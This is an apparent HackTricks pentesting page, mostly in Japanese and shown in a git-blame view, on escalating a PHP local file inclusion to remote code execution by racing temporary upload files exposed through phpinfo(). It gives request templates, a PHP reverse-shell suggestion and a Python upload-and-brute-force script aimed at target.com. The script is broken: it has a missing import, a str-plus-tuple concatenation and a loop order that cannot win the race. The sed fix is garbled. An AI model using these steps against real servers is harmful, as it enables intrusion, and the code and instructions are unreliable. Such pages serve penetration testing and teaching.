hacktricks/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md

81 lines
5.7 KiB
Markdown
Raw Normal View History

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
この脆弱性を悪用するには、**LFI脆弱性、phpinfo()が表示されるページ、"file\_uploads = on"、およびサーバーが"/tmp"ディレクトリに書き込むことができる必要があります。**
2022-04-20 19:39:32 +00:00
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
2022-04-20 19:39:32 +00:00
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
2022-04-20 19:39:32 +00:00
エクスプロイトを修正する必要があります(**=>**を**=>**に変更)。そのためには、次のようにできます:
2022-04-20 19:39:32 +00:00
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
You have to change also the **payload** at the beginning of the exploit (for a php-rev-shell for example), the **REQ1** (this should point to the phpinfo page and should have the padding included, i.e.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), and **LFIREQ** (this should point to the LFI vulnerability, i.e.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Check the double "%" when exploiting null char)
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
2023-07-07 23:42:27 +00:00
### 理論
2022-04-20 19:39:32 +00:00
もしPHPでアップロードが許可されていて、ファイルをアップロードしようとすると、このファイルはサーバーがリクエストの処理を終えるまで一時ディレクトリに保存され、その後この一時ファイルは削除されます。
2022-04-20 19:39:32 +00:00
次に、ウェブサーバーにLFI脆弱性が見つかった場合、一時ファイルの名前を推測して、削除される前に一時ファイルにアクセスしてRCEを悪用することができます。
2022-04-20 19:39:32 +00:00
**Windows**では、ファイルは通常**C:\Windows\temp\php**に保存されます。
2022-04-20 19:39:32 +00:00
**Linux**では、ファイルの名前は**ランダム**で、**/tmp**にあります。名前がランダムであるため、一時ファイルの名前を**どこかから抽出する必要があり**、削除される前にアクセスする必要があります。これは、関数"**phpconfig()**"の内容内で**変数$\_FILES**の値を読み取ることで行うことができます。
2022-04-20 19:39:32 +00:00
**phpinfo()**
**PHP**は**4096B**のバッファを使用し、**満杯**になると**クライアントに送信**されます。次に、クライアントは**大きなリクエストをたくさん送信**(大きなヘッダーを使用)して**php**リバース**シェルをアップロード**し、**phpinfo()の最初の部分が返されるのを待ち**一時ファイルの名前がある場所、LFI脆弱性を悪用してphpサーバーがファイルを削除する前に**一時ファイルにアクセス**しようとします。
2022-04-20 19:39:32 +00:00
**名前をブルートフォースするためのPythonスクリプト長さ=6の場合**
2022-04-20 19:39:32 +00:00
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
2023-07-07 23:42:27 +00:00
requests.post('http://target.com/index.php?c=index.php', f)
2022-04-20 19:39:32 +00:00
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
2023-07-07 23:42:27 +00:00
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
2022-04-20 19:39:32 +00:00
print('[x] Something went wrong, please try again')
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>HackTricksをサポートする</summary>
2022-04-28 16:01:33 +00:00
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}